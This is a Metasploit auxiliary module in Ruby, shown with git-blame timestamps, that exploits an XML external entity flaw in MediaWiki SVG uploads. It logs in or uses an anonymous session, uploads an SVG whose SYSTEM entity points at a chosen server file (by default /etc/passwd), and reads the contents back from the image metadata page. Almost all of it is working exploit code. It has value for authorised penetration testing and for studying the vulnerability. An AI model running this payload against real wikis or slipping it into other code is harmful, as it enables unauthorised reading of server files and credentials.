2013-04-18 19:34:02 +00:00
|
|
|
##
|
2014-10-17 16:47:33 +00:00
|
|
|
# This module requires Metasploit: http://metasploit.com/download
|
2013-10-15 18:50:46 +00:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
2013-04-18 19:34:02 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
2016-03-08 13:02:44 +00:00
|
|
|
class MetasploitModule < Msf::Auxiliary
|
2013-04-18 19:34:02 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
|
|
include Msf::Auxiliary::Report
|
|
|
|
include Msf::Auxiliary::Scanner
|
|
|
|
|
|
|
|
def initialize
|
|
|
|
super(
|
|
|
|
'Name' => 'MediaWiki SVG XML Entity Expansion Remote File Access',
|
|
|
|
'Description' => %q{
|
|
|
|
This module attempts to read a remote file from the server using a vulnerability
|
|
|
|
in the way MediaWiki handles SVG files. The vulnerability occurs while trying to
|
|
|
|
expand external entities with the SYSTEM identifier. In order to work MediaWiki must
|
|
|
|
be configured to accept upload of SVG files. If anonymous uploads are allowed the
|
|
|
|
username and password aren't required, otherwise they are. This module has been
|
|
|
|
tested successfully on MediaWiki 1.19.4, 1.20.3 on Ubuntu 10.04 and Ubuntu 12.10.
|
|
|
|
Older versions were also tested but do not seem to be vulnerable to this vulnerability.
|
|
|
|
The following MediaWiki requirements must be met: File upload must be enabled,
|
|
|
|
$wgFileExtensions[] must include 'svg', $wgSVGConverter must be set to something
|
|
|
|
other than 'false'.
|
|
|
|
},
|
|
|
|
'References' =>
|
|
|
|
[
|
2016-07-15 17:00:31 +00:00
|
|
|
[ 'OSVDB', '92490' ],
|
2013-08-30 21:28:54 +00:00
|
|
|
[ 'URL', 'https://bugzilla.wikimedia.org/show_bug.cgi?id=46859' ],
|
|
|
|
[ 'URL', 'http://www.gossamer-threads.com/lists/wiki/mediawiki-announce/350229']
|
|
|
|
],
|
|
|
|
'Author' =>
|
|
|
|
[
|
2015-04-03 11:12:23 +00:00
|
|
|
'Daniel Franke', # Vulnerability discovery and PoC
|
|
|
|
'juan vazquez', # Metasploit module
|
|
|
|
'Christian Mehlmauer' # Metasploit module
|
2013-08-30 21:28:54 +00:00
|
|
|
],
|
|
|
|
'License' => MSF_LICENSE
|
|
|
|
)
|
|
|
|
|
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
Opt::RPORT(80),
|
|
|
|
OptString.new('TARGETURI', [true, 'Path to MediaWiki', '/mediawiki']),
|
|
|
|
OptString.new('RFILE', [true, 'Remote File', '/etc/passwd']),
|
|
|
|
OptString.new('USERNAME', [ false, "The user to authenticate as"]),
|
|
|
|
OptString.new('PASSWORD', [ false, "The password to authenticate with" ])
|
|
|
|
], self.class)
|
|
|
|
|
|
|
|
register_autofilter_ports([ 80 ])
|
|
|
|
deregister_options('RHOST')
|
|
|
|
end
|
|
|
|
|
|
|
|
def get_first_session
|
|
|
|
res = send_request_cgi({
|
|
|
|
'uri' => normalize_uri(target_uri.to_s, "index.php"),
|
|
|
|
'method' => 'GET',
|
|
|
|
'vars_get' => {
|
|
|
|
"title" => "Special:UserLogin",
|
|
|
|
"returnto" => "Main+Page"
|
|
|
|
}
|
|
|
|
})
|
|
|
|
|
2014-05-13 20:56:12 +00:00
|
|
|
if res && res.code == 200 && res.get_cookies =~ /([^\s]*session)=([a-z0-9]+)/
|
2013-08-30 21:28:54 +00:00
|
|
|
return $1,$2
|
|
|
|
else
|
|
|
|
return nil
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
def get_login_token
|
|
|
|
res = send_request_cgi({
|
|
|
|
'uri' => normalize_uri(target_uri.to_s, "index.php"),
|
|
|
|
'method' => 'GET',
|
|
|
|
'vars_get' => {
|
|
|
|
"title" => "Special:UserLogin",
|
|
|
|
"returnto" => "Main+Page"
|
|
|
|
},
|
|
|
|
'cookie' => session_cookie
|
|
|
|
})
|
|
|
|
|
|
|
|
if res and res.code == 200 and res.body =~ /name="wpLoginToken" value="([a-f0-9]*)"/
|
|
|
|
return $1
|
|
|
|
else
|
|
|
|
return nil
|
|
|
|
end
|
|
|
|
|
|
|
|
end
|
|
|
|
|
|
|
|
def parse_auth_cookie(cookies)
|
|
|
|
cookies.split(";").each do |part|
|
|
|
|
case part
|
|
|
|
when /([^\s]*UserID)=(.*)/
|
|
|
|
@wiki_user_id_name = $1
|
|
|
|
@wiki_user_id = $2
|
|
|
|
when /([^\s]*UserName)=(.*)/
|
|
|
|
@wiki_user_name_name = $1
|
|
|
|
@wiki_user_name = $2
|
|
|
|
when /session=(.*)/
|
|
|
|
@wiki_session = $1
|
|
|
|
else
|
|
|
|
next
|
|
|
|
end
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
def session_cookie
|
|
|
|
if @user and @password
|
|
|
|
return "#{@wiki_session_name}=#{@wiki_session}; #{@wiki_user_id_name}=#{@wiki_user_id}; #{@wiki_user_name_name}=#{@wiki_user_name}"
|
|
|
|
else
|
|
|
|
return "#{@wiki_session_name}=#{@wiki_session}"
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
def authenticate
|
|
|
|
res = send_request_cgi({
|
|
|
|
'uri' => normalize_uri(target_uri.to_s, "index.php"),
|
|
|
|
'method' => 'POST',
|
|
|
|
'vars_get' => {
|
|
|
|
"title" => "Special:UserLogin",
|
|
|
|
"action" => "submitlogin",
|
|
|
|
"type" => "login"
|
|
|
|
},
|
|
|
|
'vars_post' => {
|
|
|
|
"wpName" => datastore['USERNAME'],
|
|
|
|
"wpPassword" => datastore['PASSWORD'],
|
|
|
|
"wpLoginAttempt" => "Log+in",
|
|
|
|
"wpLoginToken" => @login_token,
|
|
|
|
"returnto" => "Main+Page"
|
|
|
|
},
|
|
|
|
'cookie' => session_cookie
|
|
|
|
})
|
|
|
|
|
2014-05-13 20:56:12 +00:00
|
|
|
if res and res.code == 302 and res.get_cookies.include?('UserID=')
|
|
|
|
parse_auth_cookie(res.get_cookies)
|
2013-08-30 21:28:54 +00:00
|
|
|
return true
|
|
|
|
else
|
|
|
|
return false
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
def get_edit_token
|
|
|
|
res = send_request_cgi({
|
|
|
|
'uri' => normalize_uri(target_uri.to_s, "index.php", "Special:Upload"),
|
|
|
|
'method' => 'GET',
|
|
|
|
'cookie' => session_cookie
|
|
|
|
})
|
|
|
|
|
|
|
|
if res and res.code == 200 and res.body =~/<title>Upload file/ and res.body =~ /<input id="wpEditToken" type="hidden" value="([0-9a-f]*)\+\\" name="wpEditToken" \/>/
|
|
|
|
return $1
|
|
|
|
else
|
|
|
|
return nil
|
|
|
|
end
|
|
|
|
|
|
|
|
end
|
|
|
|
|
|
|
|
def upload_file
|
|
|
|
entity = Rex::Text.rand_text_alpha_lower(3)
|
|
|
|
@file_name = Rex::Text.rand_text_alpha_lower(4)
|
|
|
|
svg_file = %Q|
|
|
|
|
<!DOCTYPE svg [<!ENTITY #{entity} SYSTEM "file://#{datastore['RFILE']}">]>
|
|
|
|
<svg xmlns="http://www.w3.org/2000/svg" version="1.1">
|
|
|
|
<desc>&#{entity};</desc>
|
|
|
|
<rect width="300" height="100" style="fill:rgb(0,0,255);stroke-width:1;stroke:rgb(0,0,0)" />
|
|
|
|
</svg>
|
|
|
|
|
|
|
|
|
svg_file.gsub!(/\t\t/, "")
|
|
|
|
|
|
|
|
post_data = Rex::MIME::Message.new
|
|
|
|
post_data.add_part(svg_file, "image/svg+xml", nil, "form-data; name=\"wpUploadFile\"; filename=\"#{@file_name}.svg\"")
|
|
|
|
post_data.add_part("#{@file_name.capitalize}.svg", nil, nil, "form-data; name=\"wpDestFile\"")
|
|
|
|
post_data.add_part("", nil, nil, "form-data; name=\"wpUploadDescription\"")
|
|
|
|
post_data.add_part("", nil, nil, "form-data; name=\"wpLicense\"")
|
|
|
|
post_data.add_part("#{@edit_token}+\\", nil, nil, "form-data; name=\"wpEditToken\"")
|
|
|
|
post_data.add_part("Special:Upload", nil, nil, "form-data; name=\"title\"")
|
|
|
|
post_data.add_part("1", nil, nil, "form-data; name=\"wpDestFileWarningAck\"")
|
|
|
|
post_data.add_part("Upload file", nil, nil, "form-data; name=\"wpUpload\"")
|
|
|
|
|
|
|
|
data = post_data.to_s
|
|
|
|
|
|
|
|
res = send_request_cgi({
|
|
|
|
'uri' => normalize_uri(target_uri.to_s, "index.php", "Special:Upload"),
|
|
|
|
'method' => 'POST',
|
|
|
|
'data' => data,
|
|
|
|
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
|
|
|
|
'cookie' => session_cookie
|
|
|
|
})
|
|
|
|
|
|
|
|
if res and res.code == 302 and res.headers['Location']
|
|
|
|
return res.headers['Location']
|
|
|
|
else
|
|
|
|
# try to output the errormessage
|
|
|
|
if res and res.body
|
|
|
|
error = res.body.scan(/<div class="error">(.*?)<\/div>/m)[0]
|
|
|
|
if error and error.size == 1
|
|
|
|
vprint_error(error[0])
|
|
|
|
end
|
|
|
|
end
|
|
|
|
return nil
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
def read_data
|
|
|
|
res = send_request_cgi({
|
|
|
|
'uri' => @svg_uri,
|
|
|
|
'method' => 'GET',
|
|
|
|
'cookie' => session_cookie
|
|
|
|
})
|
|
|
|
|
|
|
|
if res and res.code == 200 and res.body =~ /File:#{@file_name.capitalize}.svg/ and res.body =~ /Metadata/ and res.body =~ /<th>Image title<\/th>\n<td>(.*)<\/td>\n<\/tr><\/table>/m
|
|
|
|
return $1
|
|
|
|
else
|
|
|
|
return nil
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
def accessfile(rhost)
|
2014-07-19 20:56:41 +00:00
|
|
|
vprint_status("#{peer} MediaWiki - Getting unauthenticated session...")
|
2013-08-30 21:28:54 +00:00
|
|
|
@wiki_session_name, @wiki_session = get_first_session
|
|
|
|
if @wiki_session.nil?
|
2014-07-19 20:56:41 +00:00
|
|
|
print_error("#{peer} MediaWiki - Failed to get unauthenticated session...")
|
2013-08-30 21:28:54 +00:00
|
|
|
return
|
|
|
|
end
|
2014-07-19 20:56:41 +00:00
|
|
|
vprint_status("#{peer} Sessioncookie: #{@wiki_session_name}=#{@wiki_session}")
|
2013-08-30 21:28:54 +00:00
|
|
|
|
|
|
|
if @user and not @user.empty? and @password and not @password.empty?
|
2014-07-19 20:56:41 +00:00
|
|
|
vprint_status("#{peer} MediaWiki - Getting login token...")
|
2013-08-30 21:28:54 +00:00
|
|
|
@login_token = get_login_token
|
|
|
|
if @login_token.nil?
|
2014-07-19 20:56:41 +00:00
|
|
|
print_error("#{peer} MediaWiki - Failed to get login token")
|
2013-08-30 21:28:54 +00:00
|
|
|
return
|
|
|
|
end
|
2014-07-19 20:56:41 +00:00
|
|
|
vprint_status("#{peer} Logintoken: #{@login_token}")
|
2013-08-30 21:28:54 +00:00
|
|
|
|
|
|
|
if not authenticate
|
2014-07-19 20:56:41 +00:00
|
|
|
print_error("#{peer} MediaWiki - Failed to authenticate")
|
2013-08-30 21:28:54 +00:00
|
|
|
return
|
|
|
|
end
|
2014-07-19 20:56:41 +00:00
|
|
|
vprint_status("#{peer} Userid cookie: #{@wiki_user_id_name}=#{@wiki_user_id}")
|
|
|
|
vprint_status("#{peer} Username cookie: #{@wiki_user_name_name}=#{@wiki_user_name}")
|
|
|
|
vprint_status("#{peer} Session cookie: #{@wiki_session_name}=#{@wiki_session}")
|
2013-08-30 21:28:54 +00:00
|
|
|
end
|
|
|
|
|
2014-07-19 20:56:41 +00:00
|
|
|
vprint_status("#{peer} MediaWiki - Getting edit token...")
|
2013-08-30 21:28:54 +00:00
|
|
|
@edit_token = get_edit_token
|
|
|
|
if @edit_token.nil?
|
2014-07-19 20:56:41 +00:00
|
|
|
print_error("#{peer} MediaWiki - Failed to get edit token")
|
2013-08-30 21:28:54 +00:00
|
|
|
return
|
|
|
|
end
|
2014-07-19 20:56:41 +00:00
|
|
|
vprint_status("#{peer} Edittoken: #{@edit_token}")
|
2013-08-30 21:28:54 +00:00
|
|
|
|
2014-07-19 20:56:41 +00:00
|
|
|
vprint_status("#{peer} MediaWiki - Uploading SVG file...")
|
2013-08-30 21:28:54 +00:00
|
|
|
@svg_uri = upload_file
|
|
|
|
if @svg_uri.nil?
|
2014-07-19 20:56:41 +00:00
|
|
|
print_error("#{peer} MediaWiki - Failed to upload SVG file")
|
2013-08-30 21:28:54 +00:00
|
|
|
return
|
|
|
|
end
|
2014-07-19 20:56:41 +00:00
|
|
|
vprint_status("#{peer} SVG URI: #{@svg_uri}")
|
2013-08-30 21:28:54 +00:00
|
|
|
|
2014-07-19 20:56:41 +00:00
|
|
|
vprint_status("#{peer} MediaWiki - Retrieving remote file...")
|
2013-08-30 21:28:54 +00:00
|
|
|
loot = read_data
|
|
|
|
if loot.nil? or loot.empty?
|
2014-07-19 20:56:41 +00:00
|
|
|
print_error("#{peer} MediaWiki - Failed to retrieve remote file")
|
2013-08-30 21:28:54 +00:00
|
|
|
return
|
|
|
|
end
|
|
|
|
|
|
|
|
f = ::File.basename(datastore['RFILE'])
|
|
|
|
path = store_loot('mediawiki.file', 'application/octet-stream', rhost, loot, f, datastore['RFILE'])
|
2014-07-19 20:56:41 +00:00
|
|
|
print_status("#{peer} MediaWiki - #{datastore['RFILE']} saved in #{path}")
|
2013-08-30 21:28:54 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
def run
|
|
|
|
@user = datastore['USERNAME']
|
|
|
|
@password = datastore['USERNAME']
|
|
|
|
super
|
|
|
|
end
|
|
|
|
|
|
|
|
def run_host(ip)
|
|
|
|
accessfile(ip)
|
|
|
|
end
|
2013-04-18 19:34:02 +00:00
|
|
|
|
|
|
|
end
|